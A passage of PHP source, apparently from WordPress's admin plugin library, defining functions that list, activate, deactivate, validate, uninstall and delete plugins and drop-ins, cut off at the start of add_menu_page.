	wp_cache_set( 'plugins', $cache_plugins, 'plugins' );

	return $wp_plugins;
}

/**
 * Checks the mu-plugins directory and retrieve all mu-plugin files with any plugin data.
 *
 * WordPress only includes mu-plugin files in the base mu-plugins directory (wp-content/mu-plugins).
 *
 * @since 3.0.0
 * @return array[] Array of arrays of mu-plugin data, keyed by plugin file name. See get_plugin_data().
 */
function get_mu_plugins() {
	$wp_plugins   = array();
	$plugin_files = array();

	if ( ! is_dir( WPMU_PLUGIN_DIR ) ) {
		return $wp_plugins;
	}

	// Files in wp-content/mu-plugins directory.
	$plugins_dir = @opendir( WPMU_PLUGIN_DIR );
	if ( $plugins_dir ) {
		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
			if ( str_ends_with( $file, '.php' ) ) {
				$plugin_files[] = $file;
			}
		}
	} else {
		return $wp_plugins;
	}

	closedir( $plugins_dir );

	if ( empty( $plugin_files ) ) {
		return $wp_plugins;
	}

	foreach ( $plugin_files as $plugin_file ) {
		if ( ! is_readable( WPMU_PLUGIN_DIR . "/$plugin_file" ) ) {
			continue;
		}

		// Do not apply markup/translate as it will be cached.
		$plugin_data = get_plugin_data( WPMU_PLUGIN_DIR . "/$plugin_file", false, false );

		if ( empty( $plugin_data['Name'] ) ) {
			$plugin_data['Name'] = $plugin_file;
		}

		$wp_plugins[ $plugin_file ] = $plugin_data;
	}

	if ( isset( $wp_plugins['index.php'] ) && filesize( WPMU_PLUGIN_DIR . '/index.php' ) <= 30 ) {
		// Silence is golden.
		unset( $wp_plugins['index.php'] );
	}

	uasort( $wp_plugins, '_sort_uname_callback' );

	return $wp_plugins;
}

/**
 * Declares a callback to sort array by a 'Name' key.
 *
 * @since 3.1.0
 *
 * @access private
 *
 * @param array $a array with 'Name' key.
 * @param array $b array with 'Name' key.
 * @return int Return 0 or 1 based on two string comparison.
 */
function _sort_uname_callback( $a, $b ) {
	return strnatcasecmp( $a['Name'], $b['Name'] );
}

/**
 * Checks the wp-content directory and retrieve all drop-ins with any plugin data.
 *
 * @since 3.0.0
 * @return array[] Array of arrays of dropin plugin data, keyed by plugin file name. See get_plugin_data().
 */
function get_dropins() {
	$dropins      = array();
	$plugin_files = array();

	$_dropins = _get_dropins();

	// Files in wp-content directory.
	$plugins_dir = @opendir( WP_CONTENT_DIR );
	if ( $plugins_dir ) {
		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
			if ( isset( $_dropins[ $file ] ) ) {
				$plugin_files[] = $file;
			}
		}
	} else {
		return $dropins;
	}

	closedir( $plugins_dir );

	if ( empty( $plugin_files ) ) {
		return $dropins;
	}

	foreach ( $plugin_files as $plugin_file ) {
		if ( ! is_readable( WP_CONTENT_DIR . "/$plugin_file" ) ) {
			continue;
		}

		// Do not apply markup/translate as it will be cached.
		$plugin_data = get_plugin_data( WP_CONTENT_DIR . "/$plugin_file", false, false );

		if ( empty( $plugin_data['Name'] ) ) {
			$plugin_data['Name'] = $plugin_file;
		}

		$dropins[ $plugin_file ] = $plugin_data;
	}

	uksort( $dropins, 'strnatcasecmp' );

	return $dropins;
}

/**
 * Returns drop-in plugins that WordPress uses.
 *
 * Includes Multisite drop-ins only when is_multisite()
 *
 * @since 3.0.0
 *
 * @return array[] {
 *     Key is file name. The value is an array of data about the drop-in.
 *
 *     @type array ...$0 {
 *         Data about the drop-in.
 *
 *         @type string      $0 The purpose of the drop-in.
 *         @type string|true $1 Name of the constant that must be true for the drop-in
 *                              to be used, or true if no constant is required.
 *     }
 * }
 */
function _get_dropins() {
	$dropins = array(
		'advanced-cache.php'      => array( __( 'Advanced caching plugin.' ), 'WP_CACHE' ),  // WP_CACHE
		'db.php'                  => array( __( 'Custom database class.' ), true ),          // Auto on load.
		'db-error.php'            => array( __( 'Custom database error message.' ), true ),  // Auto on error.
		'install.php'             => array( __( 'Custom installation script.' ), true ),     // Auto on installation.
		'maintenance.php'         => array( __( 'Custom maintenance message.' ), true ),     // Auto on maintenance.
		'object-cache.php'        => array( __( 'External object cache.' ), true ),          // Auto on load.
		'php-error.php'           => array( __( 'Custom PHP error message.' ), true ),       // Auto on error.
		'fatal-error-handler.php' => array( __( 'Custom PHP fatal error handler.' ), true ), // Auto on error.
	);

	if ( is_multisite() ) {
		$dropins['sunrise.php']        = array( __( 'Executed before Multisite is loaded.' ), 'SUNRISE' ); // SUNRISE
		$dropins['blog-deleted.php']   = array( __( 'Custom site deleted message.' ), true );   // Auto on deleted blog.
		$dropins['blog-inactive.php']  = array( __( 'Custom site inactive message.' ), true );  // Auto on inactive blog.
		$dropins['blog-suspended.php'] = array( __( 'Custom site suspended message.' ), true ); // Auto on archived or spammed blog.
	}

	return $dropins;
}

/**
 * Determines whether a plugin is active.
 *
 * Only plugins installed in the plugins/ folder can be active.
 *
 * Plugins in the mu-plugins/ folder can't be "activated," so this function will
 * return false for those plugins.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True, if in the active plugins list. False, not in the list.
 */
function is_plugin_active( $plugin ) {
	return in_array( $plugin, (array) get_option( 'active_plugins', array() ), true ) || is_plugin_active_for_network( $plugin );
}

/**
 * Determines whether the plugin is inactive.
 *
 * Reverse of is_plugin_active(). Used as a callback.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.1.0
 *
 * @see is_plugin_active()
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True if inactive. False if active.
 */
function is_plugin_inactive( $plugin ) {
	return ! is_plugin_active( $plugin );
}

/**
 * Determines whether the plugin is active for the entire network.
 *
 * Only plugins installed in the plugins/ folder can be active.
 *
 * Plugins in the mu-plugins/ folder can't be "activated," so this function will
 * return false for those plugins.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.0.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True if active for the network, otherwise false.
 */
function is_plugin_active_for_network( $plugin ) {
	if ( ! is_multisite() ) {
		return false;
	}

	$plugins = get_site_option( 'active_sitewide_plugins' );
	if ( isset( $plugins[ $plugin ] ) ) {
		return true;
	}

	return false;
}

/**
 * Checks for "Network: true" in the plugin header to see if this should
 * be activated only as a network wide plugin. The plugin would also work
 * when Multisite is not enabled.
 *
 * Checks for "Site Wide Only: true" for backward compatibility.
 *
 * @since 3.0.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True if plugin is network only, false otherwise.
 */
function is_network_only_plugin( $plugin ) {
	$plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	if ( $plugin_data ) {
		return $plugin_data['Network'];
	}
	return false;
}

/**
 * Attempts activation of plugin in a "sandbox" and redirects on success.
 *
 * A plugin that is already activated will not attempt to be activated again.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the plugin file. If the plugin fails, then the redirection will not
 * be overwritten with the success message. Also, the options will not be
 * updated and the activation hook will not be called on plugin error.
 *
 * It should be noted that in no way the below code will actually prevent errors
 * within the file. The code should not be used elsewhere to replicate the
 * "sandbox", which uses redirection to work.
 * {@source 13 1}
 *
 * If any errors are found or text is outputted, then it will be captured to
 * ensure that the success redirection will update the error redirection.
 *
 * @since 2.5.0
 * @since 5.2.0 Test for WordPress version and PHP version compatibility.
 *
 * @param string $plugin       Path to the plugin file relative to the plugins directory.
 * @param string $redirect     Optional. URL to redirect to.
 * @param bool   $network_wide Optional. Whether to enable the plugin for all sites in the network
 *                             or just the current site. Multisite only. Default false.
 * @param bool   $silent       Optional. Whether to prevent calling activation hooks. Default false.
 * @return null|WP_Error Null on success, WP_Error on invalid file.
 */
function activate_plugin( $plugin, $redirect = '', $network_wide = false, $silent = false ) {
	$plugin = plugin_basename( trim( $plugin ) );

	if ( is_multisite() && ( $network_wide || is_network_only_plugin( $plugin ) ) ) {
		$network_wide        = true;
		$current             = get_site_option( 'active_sitewide_plugins', array() );
		$_GET['networkwide'] = 1; // Back compat for plugins looking for this value.
	} else {
		$current = get_option( 'active_plugins', array() );
	}

	$valid = validate_plugin( $plugin );
	if ( is_wp_error( $valid ) ) {
		return $valid;
	}

	$requirements = validate_plugin_requirements( $plugin );
	if ( is_wp_error( $requirements ) ) {
		return $requirements;
	}

	if ( $network_wide && ! isset( $current[ $plugin ] )
		|| ! $network_wide && ! in_array( $plugin, $current, true )
	) {
		if ( ! empty( $redirect ) ) {
			// We'll override this later if the plugin can be included without fatal error.
			wp_redirect( add_query_arg( '_error_nonce', wp_create_nonce( 'plugin-activation-error_' . $plugin ), $redirect ) );
		}

		ob_start();

		// Load the plugin to test whether it throws any errors.
		plugin_sandbox_scrape( $plugin );

		if ( ! $silent ) {
			/**
			 * Fires before a plugin is activated.
			 *
			 * If a plugin is silently activated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin       Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
			 *                             or just the current site. Multisite only. Default false.
			 */
			do_action( 'activate_plugin', $plugin, $network_wide );

			/**
			 * Fires as a specific plugin is being activated.
			 *
			 * This hook is the "activation" hook used internally by register_activation_hook().
			 * The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
			 *
			 * If a plugin is silently activated (such as during an update), this hook does not fire.
			 *
			 * @since 2.0.0
			 *
			 * @param bool $network_wide Whether to enable the plugin for all sites in the network
			 *                           or just the current site. Multisite only. Default false.
			 */
			do_action( "activate_{$plugin}", $network_wide );
		}

		if ( $network_wide ) {
			$current            = get_site_option( 'active_sitewide_plugins', array() );
			$current[ $plugin ] = time();
			update_site_option( 'active_sitewide_plugins', $current );
		} else {
			$current   = get_option( 'active_plugins', array() );
			$current[] = $plugin;
			sort( $current );
			update_option( 'active_plugins', $current );
		}

		if ( ! $silent ) {
			/**
			 * Fires after a plugin has been activated.
			 *
			 * If a plugin is silently activated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin       Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
			 *                             or just the current site. Multisite only. Default false.
			 */
			do_action( 'activated_plugin', $plugin, $network_wide );
		}

		if ( ob_get_length() > 0 ) {
			$output = ob_get_clean();
			return new WP_Error( 'unexpected_output', __( 'The plugin generated unexpected output.' ), $output );
		}

		ob_end_clean();
	}

	return null;
}

/**
 * Deactivates a single plugin or multiple plugins.
 *
 * The deactivation hook is disabled by the plugin upgrader by using the $silent
 * parameter.
 *
 * @since 2.5.0
 *
 * @param string|string[] $plugins      Single plugin or list of plugins to deactivate.
 * @param bool            $silent       Prevent calling deactivation hooks. Default false.
 * @param bool|null       $network_wide Whether to deactivate the plugin for all sites in the network.
 *                                      A value of null will deactivate plugins for both the network
 *                                      and the current site. Multisite only. Default null.
 */
function deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
	if ( is_multisite() ) {
		$network_current = get_site_option( 'active_sitewide_plugins', array() );
	}
	$current    = get_option( 'active_plugins', array() );
	$do_blog    = false;
	$do_network = false;

	foreach ( (array) $plugins as $plugin ) {
		$plugin = plugin_basename( trim( $plugin ) );
		if ( ! is_plugin_active( $plugin ) ) {
			continue;
		}

		$network_deactivating = ( false !== $network_wide ) && is_plugin_active_for_network( $plugin );

		if ( ! $silent ) {
			/**
			 * Fires before a plugin is deactivated.
			 *
			 * If a plugin is silently deactivated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin               Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                     or just the current site. Multisite only. Default false.
			 */
			do_action( 'deactivate_plugin', $plugin, $network_deactivating );
		}

		if ( false !== $network_wide ) {
			if ( is_plugin_active_for_network( $plugin ) ) {
				$do_network = true;
				unset( $network_current[ $plugin ] );
			} elseif ( $network_wide ) {
				continue;
			}
		}

		if ( true !== $network_wide ) {
			$key = array_search( $plugin, $current, true );
			if ( false !== $key ) {
				$do_blog = true;
				unset( $current[ $key ] );
			}
		}

		if ( $do_blog && wp_is_recovery_mode() ) {
			list( $extension ) = explode( '/', $plugin );
			wp_paused_plugins()->delete( $extension );
		}

		if ( ! $silent ) {
			/**
			 * Fires as a specific plugin is being deactivated.
			 *
			 * This hook is the "deactivation" hook used internally by register_deactivation_hook().
			 * The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
			 *
			 * If a plugin is silently deactivated (such as during an update), this hook does not fire.
			 *
			 * @since 2.0.0
			 *
			 * @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                   or just the current site. Multisite only. Default false.
			 */
			do_action( "deactivate_{$plugin}", $network_deactivating );

			/**
			 * Fires after a plugin is deactivated.
			 *
			 * If a plugin is silently deactivated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin               Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                     or just the current site. Multisite only. Default false.
			 */
			do_action( 'deactivated_plugin', $plugin, $network_deactivating );
		}
	}

	if ( $do_blog ) {
		update_option( 'active_plugins', $current );
	}
	if ( $do_network ) {
		update_site_option( 'active_sitewide_plugins', $network_current );
	}
}

/**
 * Activates multiple plugins.
 *
 * When WP_Error is returned, it does not mean that one of the plugins had
 * errors. It means that one or more of the plugin file paths were invalid.
 *
 * The execution will be halted as soon as one of the plugins has an error.
 *
 * @since 2.6.0
 *
 * @param string|string[] $plugins      Single plugin or list of plugins to activate.
 * @param string          $redirect     Redirect to page after successful activation.
 * @param bool            $network_wide Whether to enable the plugin for all sites in the network.
 *                                      Default false.
 * @param bool            $silent       Prevent calling activation hooks. Default false.
 * @return true|WP_Error True when finished or WP_Error if there were errors during a plugin activation.
 */
function activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
	if ( ! is_array( $plugins ) ) {
		$plugins = array( $plugins );
	}

	$errors = array();
	foreach ( $plugins as $plugin ) {
		if ( ! empty( $redirect ) ) {
			$redirect = add_query_arg( 'plugin', $plugin, $redirect );
		}
		$result = activate_plugin( $plugin, $redirect, $network_wide, $silent );
		if ( is_wp_error( $result ) ) {
			$errors[ $plugin ] = $result;
		}
	}

	if ( ! empty( $errors ) ) {
		return new WP_Error( 'plugins_invalid', __( 'One of the plugins is invalid.' ), $errors );
	}

	return true;
}

/**
 * Removes directory and files of a plugin for a list of plugins.
 *
 * @since 2.6.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string[] $plugins    List of plugin paths to delete, relative to the plugins directory.
 * @param string   $deprecated Not used.
 * @return bool|null|WP_Error True on success, false if `$plugins` is empty, `WP_Error` on failure.
 *                            `null` if filesystem credentials are required to proceed.
 */
function delete_plugins( $plugins, $deprecated = '' ) {
	global $wp_filesystem;

	if ( empty( $plugins ) ) {
		return false;
	}

	$checked = array();
	foreach ( $plugins as $plugin ) {
		$checked[] = 'checked[]=' . $plugin;
	}

	$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&' . implode( '&', $checked ), 'bulk-plugins' );

	ob_start();
	$credentials = request_filesystem_credentials( $url );
	$data        = ob_get_clean();

	if ( false === $credentials ) {
		if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

	if ( ! WP_Filesystem( $credentials ) ) {
		ob_start();
		// Failed to connect. Error and request again.
		request_filesystem_credentials( $url, '', true );
		$data = ob_get_clean();

		if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

	if ( ! is_object( $wp_filesystem ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

	if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
		return new WP_Error( 'fs_error', __( 'Filesystem error.' ), $wp_filesystem->errors );
	}

	// Get the base plugin folder.
	$plugins_dir = $wp_filesystem->wp_plugins_dir();
	if ( empty( $plugins_dir ) ) {
		return new WP_Error( 'fs_no_plugins_dir', __( 'Unable to locate WordPress plugin directory.' ) );
	}

	$plugins_dir = trailingslashit( $plugins_dir );

	$plugin_translations = wp_get_installed_translations( 'plugins' );

	$errors = array();

	foreach ( $plugins as $plugin_file ) {
		// Run Uninstall hook.
		if ( is_uninstallable_plugin( $plugin_file ) ) {
			uninstall_plugin( $plugin_file );
		}

		/**
		 * Fires immediately before a plugin deletion attempt.
		 *
		 * @since 4.4.0
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 */
		do_action( 'delete_plugin', $plugin_file );

		$this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin_file ) );

		/*
		 * If plugin is in its own directory, recursively delete the directory.
		 * Base check on if plugin includes directory separator AND that it's not the root plugin folder.
		 */
		if ( strpos( $plugin_file, '/' ) && $this_plugin_dir !== $plugins_dir ) {
			$deleted = $wp_filesystem->delete( $this_plugin_dir, true );
		} else {
			$deleted = $wp_filesystem->delete( $plugins_dir . $plugin_file );
		}

		/**
		 * Fires immediately after a plugin deletion attempt.
		 *
		 * @since 4.4.0
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 * @param bool   $deleted     Whether the plugin deletion was successful.
		 */
		do_action( 'deleted_plugin', $plugin_file, $deleted );

		if ( ! $deleted ) {
			$errors[] = $plugin_file;
			continue;
		}

		$plugin_slug = dirname( $plugin_file );

		if ( 'hello.php' === $plugin_file ) {
			$plugin_slug = 'hello-dolly';
		}

		// Remove language files, silently.
		if ( '.' !== $plugin_slug && ! empty( $plugin_translations[ $plugin_slug ] ) ) {
			$translations = $plugin_translations[ $plugin_slug ];

			foreach ( $translations as $translation => $data ) {
				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.po' );
				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.mo' );
				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.l10n.php' );

				$json_translation_files = glob( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '-*.json' );
				if ( $json_translation_files ) {
					array_map( array( $wp_filesystem, 'delete' ), $json_translation_files );
				}
			}
		}
	}

	// Remove deleted plugins from the plugin updates list.
	$current = get_site_transient( 'update_plugins' );
	if ( $current ) {
		// Don't remove the plugins that weren't deleted.
		$deleted = array_diff( $plugins, $errors );

		foreach ( $deleted as $plugin_file ) {
			unset( $current->response[ $plugin_file ] );
		}

		set_site_transient( 'update_plugins', $current );
	}

	if ( ! empty( $errors ) ) {
		if ( 1 === count( $errors ) ) {
			/* translators: %s: Plugin filename. */
			$message = __( 'Could not fully remove the plugin %s.' );
		} else {
			/* translators: %s: Comma-separated list of plugin filenames. */
			$message = __( 'Could not fully remove the plugins %s.' );
		}

		return new WP_Error( 'could_not_remove_plugin', sprintf( $message, implode( ', ', $errors ) ) );
	}

	return true;
}

/**
 * Validates active plugins.
 *
 * Validate all active plugins, deactivates invalid and
 * returns an array of deactivated ones.
 *
 * @since 2.5.0
 * @return WP_Error[] Array of plugin errors keyed by plugin file name.
 */
function validate_active_plugins() {
	$plugins = get_option( 'active_plugins', array() );
	// Validate vartype: array.
	if ( ! is_array( $plugins ) ) {
		update_option( 'active_plugins', array() );
		$plugins = array();
	}

	if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
		$network_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
		$plugins         = array_merge( $plugins, array_keys( $network_plugins ) );
	}

	if ( empty( $plugins ) ) {
		return array();
	}

	$invalid = array();

	// Invalid plugins get deactivated.
	foreach ( $plugins as $plugin ) {
		$result = validate_plugin( $plugin );
		if ( is_wp_error( $result ) ) {
			$invalid[ $plugin ] = $result;
			deactivate_plugins( $plugin, true );
		}
	}
	return $invalid;
}

/**
 * Validates the plugin path.
 *
 * Checks that the main plugin file exists and is a valid plugin. See validate_file().
 *
 * @since 2.5.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return int|WP_Error 0 on success, WP_Error on failure.
 */
function validate_plugin( $plugin ) {
	if ( validate_file( $plugin ) ) {
		return new WP_Error( 'plugin_invalid', __( 'Invalid plugin path.' ) );
	}
	if ( ! file_exists( WP_PLUGIN_DIR . '/' . $plugin ) ) {
		return new WP_Error( 'plugin_not_found', __( 'Plugin file does not exist.' ) );
	}

	$installed_plugins = get_plugins();
	if ( ! isset( $installed_plugins[ $plugin ] ) ) {
		return new WP_Error( 'no_plugin_header', __( 'The plugin does not have a valid header.' ) );
	}
	return 0;
}

/**
 * Validates the plugin requirements for WordPress version and PHP version.
 *
 * Uses the information from `Requires at least`, `Requires PHP` and `Requires Plugins` headers
 * defined in the plugin's main PHP file.
 *
 * @since 5.2.0
 * @since 5.3.0 Added support for reading the headers from the plugin's
 *              main PHP file, with `readme.txt` as a fallback.
 * @since 5.8.0 Removed support for using `readme.txt` as a fallback.
 * @since 6.5.0 Added support for the 'Requires Plugins' header.
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return true|WP_Error True if requirements are met, WP_Error on failure.
 */
function validate_plugin_requirements( $plugin ) {
	$plugin_headers = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );

	$requirements = array(
		'requires'         => ! empty( $plugin_headers['RequiresWP'] ) ? $plugin_headers['RequiresWP'] : '',
		'requires_php'     => ! empty( $plugin_headers['RequiresPHP'] ) ? $plugin_headers['RequiresPHP'] : '',
		'requires_plugins' => ! empty( $plugin_headers['RequiresPlugins'] ) ? $plugin_headers['RequiresPlugins'] : '',
	);

	$compatible_wp  = is_wp_version_compatible( $requirements['requires'] );
	$compatible_php = is_php_version_compatible( $requirements['requires_php'] );

	$php_update_message = '</p><p>' . sprintf(
		/* translators: %s: URL to Update PHP page. */
		__( '<a href="%s">Learn more about updating PHP</a>.' ),
		esc_url( wp_get_update_php_url() )
	);

	$annotation = wp_get_update_php_annotation();

	if ( $annotation ) {
		$php_update_message .= '</p><p><em>' . $annotation . '</em>';
	}

	if ( ! $compatible_wp && ! $compatible_php ) {
		return new WP_Error(
			'plugin_wp_php_incompatible',
			'<p>' . sprintf(
				/* translators: 1: Current WordPress version, 2: Current PHP version, 3: Plugin name, 4: Required WordPress version, 5: Required PHP version. */
				_x( '<strong>Error:</strong> Current versions of WordPress (%1$s) and PHP (%2$s) do not meet minimum requirements for %3$s. The plugin requires WordPress %4$s and PHP %5$s.', 'plugin' ),
				get_bloginfo( 'version' ),
				PHP_VERSION,
				$plugin_headers['Name'],
				$requirements['requires'],
				$requirements['requires_php']
			) . $php_update_message . '</p>'
		);
	} elseif ( ! $compatible_php ) {
		return new WP_Error(
			'plugin_php_incompatible',
			'<p>' . sprintf(
				/* translators: 1: Current PHP version, 2: Plugin name, 3: Required PHP version. */
				_x( '<strong>Error:</strong> Current PHP version (%1$s) does not meet minimum requirements for %2$s. The plugin requires PHP %3$s.', 'plugin' ),
				PHP_VERSION,
				$plugin_headers['Name'],
				$requirements['requires_php']
			) . $php_update_message . '</p>'
		);
	} elseif ( ! $compatible_wp ) {
		return new WP_Error(
			'plugin_wp_incompatible',
			'<p>' . sprintf(
				/* translators: 1: Current WordPress version, 2: Plugin name, 3: Required WordPress version. */
				_x( '<strong>Error:</strong> Current WordPress version (%1$s) does not meet minimum requirements for %2$s. The plugin requires WordPress %3$s.', 'plugin' ),
				get_bloginfo( 'version' ),
				$plugin_headers['Name'],
				$requirements['requires']
			) . '</p>'
		);
	}

	WP_Plugin_Dependencies::initialize();

	if ( WP_Plugin_Dependencies::has_unmet_dependencies( $plugin ) ) {
		$dependency_names       = WP_Plugin_Dependencies::get_dependency_names( $plugin );
		$unmet_dependencies     = array();
		$unmet_dependency_names = array();

		foreach ( $dependency_names as $dependency => $dependency_name ) {
			$dependency_file = WP_Plugin_Dependencies::get_dependency_filepath( $dependency );

			if ( false === $dependency_file ) {
				$unmet_dependencies['not_installed'][ $dependency ] = $dependency_name;
				$unmet_dependency_names[]                           = $dependency_name;
			} elseif ( is_plugin_inactive( $dependency_file ) ) {
				$unmet_dependencies['inactive'][ $dependency ] = $dependency_name;
				$unmet_dependency_names[]                      = $dependency_name;
			}
		}

		$error_message = sprintf(
			/* translators: 1: Plugin name, 2: Number of plugins, 3: A comma-separated list of plugin names. */
			_n(
				'<strong>Error:</strong> %1$s requires %2$d plugin to be installed and activated: %3$s.',
				'<strong>Error:</strong> %1$s requires %2$d plugins to be installed and activated: %3$s.',
				count( $unmet_dependency_names )
			),
			$plugin_headers['Name'],
			count( $unmet_dependency_names ),
			implode( wp_get_list_item_separator(), $unmet_dependency_names )
		);

		if ( is_multisite() ) {
			if ( current_user_can( 'manage_network_plugins' ) ) {
				$error_message .= ' ' . sprintf(
					/* translators: %s: Link to the plugins page. */
					__( '<a href="%s">Manage plugins</a>.' ),
					esc_url( network_admin_url( 'plugins.php' ) )
				);
			} else {
				$error_message .= ' ' . __( 'Please contact your network administrator.' );
			}
		} else {
			$error_message .= ' ' . sprintf(
				/* translators: %s: Link to the plugins page. */
				__( '<a href="%s">Manage plugins</a>.' ),
				esc_url( admin_url( 'plugins.php' ) )
			);
		}

		return new WP_Error(
			'plugin_missing_dependencies',
			"<p>{$error_message}</p>",
			$unmet_dependencies
		);
	}

	return true;
}

/**
 * Determines whether the plugin can be uninstalled.
 *
 * @since 2.7.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool Whether plugin can be uninstalled.
 */
function is_uninstallable_plugin( $plugin ) {
	$file = plugin_basename( $plugin );

	$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );
	if ( isset( $uninstallable_plugins[ $file ] ) || file_exists( WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php' ) ) {
		return true;
	}

	return false;
}

/**
 * Uninstalls a single plugin.
 *
 * Calls the uninstall hook, if it is available.
 *
 * @since 2.7.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return true|void True if a plugin's uninstall.php file has been found and included.
 *                   Void otherwise.
 */
function uninstall_plugin( $plugin ) {
	$file = plugin_basename( $plugin );

	$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );

	/**
	 * Fires in uninstall_plugin() immediately before the plugin is uninstalled.
	 *
	 * @since 4.5.0
	 *
	 * @param string $plugin                Path to the plugin file relative to the plugins directory.
	 * @param array  $uninstallable_plugins Uninstallable plugins.
	 */
	do_action( 'pre_uninstall_plugin', $plugin, $uninstallable_plugins );

	if ( file_exists( WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php' ) ) {
		if ( isset( $uninstallable_plugins[ $file ] ) ) {
			unset( $uninstallable_plugins[ $file ] );
			update_option( 'uninstall_plugins', $uninstallable_plugins );
		}
		unset( $uninstallable_plugins );

		define( 'WP_UNINSTALL_PLUGIN', $file );

		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
		include_once WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php';

		return true;
	}

	if ( isset( $uninstallable_plugins[ $file ] ) ) {
		$callable = $uninstallable_plugins[ $file ];
		unset( $uninstallable_plugins[ $file ] );
		update_option( 'uninstall_plugins', $uninstallable_plugins );
		unset( $uninstallable_plugins );

		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
		include_once WP_PLUGIN_DIR . '/' . $file;

		add_action( "uninstall_{$file}", $callable );

		/**
		 * Fires in uninstall_plugin() once the plugin has been uninstalled.
		 *
		 * The action concatenates the 'uninstall_' prefix with the basename of the
		 * plugin passed to uninstall_plugin() to create a dynamically-named action.
		 *
		 * @since 2.7.0
		 */
		do_action( "uninstall_{$file}" );
	}
}

//
// Menu.
//

/**
 * Adds a top-level menu page.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 *
 * @global array $menu
 * @global array $admin_page_hooks
 * @global array $_registered_pages
 * @global array $_parent_pages
 *
 * @param string    $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string    $menu_title The text to be used for the menu.
 * @param string    $capability The capability required for this menu to be displayed to the user.
 * @param string    $menu_slug  The slug name to refer to this menu by. Should be unique for this menu page and only
 *                              include lowercase alphanumeric, dashes, and underscores characters to be compatible
 *                              with sanitize_key().
 * @param callable  $callback   Optional. The function to be called to output the content for this page.
 * @param string    $icon_url   Optional. The URL to the icon to be used for this menu.
 *                              * Pass a base64-encoded SVG using a data URI, which will be colored to match
 *                                the color scheme. This should begin with 'data:image/svg+xml;base64,'.
 *                              * Pass the name of a Dashicons helper class to use a font icon,
 *                                e.g. 'dashicons-chart-pie'.
 *                              * Pass 'none' to leave div.wp-menu-image empty so an icon can be added via CSS.
 * @param int|float $position   Optional. The position in the menu order this item should appear.
 * @return string The resulting page's hook_suffix.
 */
function add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '', $position = null ) {
	global $menu, $admin_page_hooks, $_registered_pages, $_parent_pages;

	$menu_slug = plugin_basename( $menu_slug );

